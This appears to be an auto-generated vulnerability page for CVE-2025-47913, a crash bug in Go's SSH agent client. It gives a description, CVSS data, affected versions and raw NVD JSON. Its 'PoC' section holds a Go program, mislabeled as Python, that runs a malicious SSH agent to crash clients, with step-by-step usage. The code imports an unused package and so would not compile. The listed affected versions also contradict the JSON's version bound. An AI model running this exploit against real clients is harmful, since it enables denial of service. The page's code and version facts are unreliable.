Security Vulnerability Report
中文
CVE-2025-47913 CVSS 7.5 HIGH

CVE-2025-47913

Published: 2025-11-13 22:15:51
Last Modified: 2026-01-09 15:32:12

Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:go:ssh:*:*:*:*:*:go:*:* - VULNERABLE
golang.org/x/crypto < v0.31.0
Go < 1.22.11
Go < 1.23.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
package main import ( "net" "fmt" "github.com/google/uuid" ) // SSH Agent Protocol Message Types const ( SSH_AGENTC_REQUEST_IDENTITIES = 11 SSH_AGENT_SUCCESS = 6 ) // PoC: Malicious SSH Agent Server that sends SSH_AGENT_SUCCESS // when client expects SSH_AGENT_IDENTITIES_ANSWER func main() { listener, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { panic(err) } defer listener.Close() fmt.Printf("Malicious SSH Agent listening on %s\n", listener.Addr()) for { conn, err := listener.Accept() if err != nil { continue } go handleConnection(conn) } } func handleConnection(conn net.Conn) { defer conn.Close() buffer := make([]byte, 1024) for { n, err := conn.Read(buffer) if err != nil { return } if n > 0 && buffer[0] == SSH_AGENTC_REQUEST_IDENTITIES { // Send SSH_AGENT_SUCCESS instead of SSH_AGENT_IDENTITIES_ANSWER // This will trigger panic in vulnerable SSH client response := []byte{SSH_AGENT_SUCCESS, 0, 0, 0} conn.Write(response) fmt.Println("Sent malicious SSH_AGENT_SUCCESS response") } } } // Usage: // 1. Start this malicious agent server // 2. Set SSH_AUTH_SOCK to point to this server // 3. Run vulnerable Go SSH client that calls agent.RequestIdentities() // 4. Client will panic due to unexpected SSH_AGENT_SUCCESS message

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-47913", "sourceIdentifier": "[email protected]", "published": "2025-11-13T22:15:51.280", "lastModified": "2026-01-09T15:32:12.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:go:ssh:*:*:*:*:*:go:*:*", "versionEndExcluding": "0.43.0", "matchCriteriaId": "8CC7C462-0240-4D4B-B289-18AFF9D2BBF5"}]}]}], "references": [{"url": "https://github.com/advisories/GHSA-56w8-48fp-6mgv", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://go.dev/cl/700295", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/75178", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4116", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}